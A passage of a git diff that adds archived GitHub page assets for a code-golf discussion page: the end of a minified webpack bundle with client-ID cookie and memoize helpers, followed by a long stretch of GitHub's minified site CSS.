v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid var(--color-border-default)}.branch-action-item.open>.merge-status-list-wrapper>.merge-status-list,.branch-action-item.open>.merge-status-list{max-height:231px;margin-bottom:-16px;border:solid var(--color-border-default);border-width:1px 0 0}.branch-action-item.open .statuses-toggle-opened{display:inline}.branch-action-item.open .statuses-toggle-closed{display:none}.branch-action-btn{margin-left:16px}.branch-action-item-simple{padding-left:16px}.branch-action-item-simple .merge-status-list{margin-left:-16px}.branch-action-item-simple .merge-status-item{padding-left:12px}.branch-action-state-clean .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis);border:1px solid transparent}.branch-action-state-clean .branch-action-body{border-color:var(--color-success-emphasis)}.branch-action-state-clean .branch-action-body::after,.branch-action-state-clean .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-clean .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-clean .branch-action-body::before{background-color:var(--color-success-emphasis)}.branch-action-state-unknown .branch-action-icon,.branch-action-state-unstable .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-attention-emphasis);border:1px solid transparent}.branch-action-state-unknown .branch-action-body,.branch-action-state-unstable .branch-action-body{border-color:var(--color-attention-emphasis)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::after,.branch-action-state-unstable .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-unknown .branch-action-body::after,.branch-action-state-unstable .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-unknown .branch-action-body::before,.branch-action-state-unstable .branch-action-body::before{background-color:var(--color-attention-emphasis)}.branch-action-state-merged .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis);border:1px solid transparent}.branch-action-state-merged .branch-action-body{border-color:var(--color-done-emphasis)}.branch-action-state-merged .branch-action-body::after,.branch-action-state-merged .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-merged .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-merged .branch-action-body::before{background-color:var(--color-done-emphasis)}.branch-action-state-dirty .branch-action-icon,.branch-action-state-closed-dirty .branch-action-icon,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.branch-action-state-dirty .branch-action-body,.branch-action-state-closed-dirty .branch-action-body,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body{border-color:var(--color-border-default)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-dirty .branch-action-body::after,.branch-action-state-closed-dirty .branch-action-body::after,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-dirty .branch-action-body::before,.branch-action-state-closed-dirty .branch-action-body::before,.is-rebasing .branch-action-state-dirty-if-rebasing .branch-action-body::before{background-color:var(--color-border-default)}.branch-action-state-error .branch-action-icon,.is-merging .branch-action-state-error-if-merging .branch-action-icon{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid transparent}.branch-action-state-error .branch-action-body,.is-merging .branch-action-state-error-if-merging .branch-action-body{border-color:var(--color-danger-emphasis)}.branch-action-state-error .branch-action-body::after,.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.branch-action-state-error .branch-action-body::after,.is-merging .branch-action-state-error-if-merging .branch-action-body::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.branch-action-state-error .branch-action-body::before,.is-merging .branch-action-state-error-if-merging .branch-action-body::before{background-color:var(--color-danger-emphasis)}.enqueued-pull-request .branch-action-body::after,.enqueued-pull-request .branch-action-body::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 